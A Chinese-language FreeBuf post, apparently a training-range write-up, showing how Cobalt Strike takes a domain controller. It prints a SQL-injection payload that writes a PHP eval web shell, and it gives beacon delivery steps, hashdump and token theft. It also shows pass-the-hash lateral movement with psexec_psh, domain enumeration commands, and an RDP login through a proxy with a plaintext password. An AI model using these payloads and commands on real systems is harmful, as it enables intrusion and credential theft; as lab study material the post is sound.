freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

[封神台]Cobalt strike超简单自动化拿域控!
G孤桜懶契Y 2021-09-10 20:14:33 198427

前言

掌控安全里面的靶场内网渗透,练练手!

CobaltStrike拿域控

环境:http://afsgr16-b1ferw.aqlab.cn/?id=1

工具:CobaltStrike 3.14 学习

最近学习CobaltStrike,所以写一篇关于CobaltStrike的姿势

上篇文章都讲过了就不赘述了,拿到shell上蚁剑

http://afsgr16-b1ferw.aqlab.cn/?id=1.1 union select 1,"<?php eval($_REQUEST[gylq]);?>"  into outfile 'C:/phpstudy/www/shell.php' 

image-20210825125125629

②蚁剑连接,发现权限很低

image-20210825125351402

CobaltStrike超简单拿域控

由于大部分师傅可能都不知道CobaltStrike是啥,我说一下怎么开teamserver,和启动CobaltStrike,具体原理请百度

一、启动CobaltStrike

1、先将CobaltStrike放入kali中,然后启动teamserve命令

./teamserver 192.168.1.105 123456

image-20210910190706634

2、在我的电脑中启动CobaltStrike,连上50050端口密码123456,主机是我们刚刚设置的ip地址也就是kali的ip地址,具体看图

image-20210910190843123

二、脚本web传递拿beacon

1、打开监听器,反弹http的beacon,监听我们内网穿透的端口和地址

image-20210910191104374

2、在攻击里面找到脚本web传递

image-20210910191004064

2、按图设置

image-20210910191134314

3、将生成的代码保存起来

image-20210910191211759

4、在蚁剑中执行这段代码就可以拿到shell了

image-20210910191237891

5、接着CobaltStrike自动就上线了

image-20210910191330778

6、提权就成功了选择自己一开始的监听器

image-20210910191401692

7、接着就反弹一个system的beacon

image-20210910191440237

8、这里可以转到msf探测一下C段,但是我们已经知道10.0.1.8这个ip,可以直接hash传递得到beacon,先制作一个令牌

①先hashdump导出hash

image-20210910191706672

②制作令牌就会自动获取我们刚刚导入的hash

image-20210910191725856

③记得选择admin开头的接着令牌就成功了

image-20210910191929958

9、利用令牌直接hash传递拿到10.0.1.8这台机子的system权限

①设置一个监听直连smb,端口随意

image-20210910192200382

②执行下面命令

psexec_psh 10.0.1.8 smb-beacon

image-20210910192238867

③接着10.0.1.8这台机子就上线了,smb形式就是445端口

image-20210910192308245

三、拿域控之前的CobaltStrike命令积累学习

由于我们知道域控机子ip就是10.0.1.6,上篇文章讲过了,就不复述的去实践扫描了,直接开始命令学习

1、查看当前用户组

shell whoami/groups

image-20210910192520024

2、查看域

shell net view /domain

image-20210910192559695

3、枚举域内主机

shell net view /domain:GYLQ
shell net group "domain Computers" /domain #这个也可以

image-20210910192730087

4、查看DC域控主机

shell net group "domain Controllers" /domain
shell nltest/dclist:GYLQ #也可以

image-20210910192947731

5、查看DC的ip

image-20210910192836844

6、查看域的信任关系

image-20210910193026550

7、powershell导入power-view模块,去github找一个powertools,这部分只是学习命令,可以跳过

image-20210910193230115

powershell Invoke-ACLScanner //查看域的信息

image-20210910193456464

2、查看共享文件夹情况

powershell Invoke-ShareFinder

image-20210910193617172

四、CobaltStrike自动化拿域控?

上面的漫长的废话搞完了,接下来实操。

1、打开文件管理,看到域控有登陆过这台机子,刚好我们换成域控权限,PID是1796

image-20210910193935194

2、盗取token

image-20210910194011043

3、利用共享文件夹发现可以访问域控的C盘了,这时能拿域控的方法太多,我随便选一个

image-20210910194043684

4、直接用拿10.0.1.8的方法拿10.0.1.6,简直不要太简单了好吧,我上篇文章还要转来转去,接着DC就上线了。

psexec_psh 10.0.1.6 smb-beacon

image-20210910194754682

5、怎么进人域控的桌面,接着挂个socks代理

①进入这里

image-20210910195125669

②接着socks1080

image-20210910195149475

③然后将其中的一个管理员的密码改成testTEST123

image-20210910195456209

④利用proxychains4代理连上去,不懂看上篇文章,写的很详细

proxychains4 rdesktop -u administrator -p woshifengge1. 10.0.1.8

image-20210910195641421

总结

最近学了CobaltStrike才知道这就点几下就拿域控了,不需要复杂的命令。下次加油。

我的个人博客

## 孤桜懶契:http://gylq.gitee.io

# web安全 # 系统安全 # 内网渗透 # CTF # Cobaltstrike渗透
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 G孤桜懶契Y 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
G孤桜懶契Y LV.4
这家伙太懒了,还未填写个人描述!
  • 11 文章数
  • 11 关注者
基于在线靶场的Apache Log4j任意代码执行复现
2021-12-20
CS4.4绕过vultr特征检测修改checksum8算法
2021-12-03
内网渗透研究之利用MSF和Impacket工具拿域控
2021-08-30
文章目录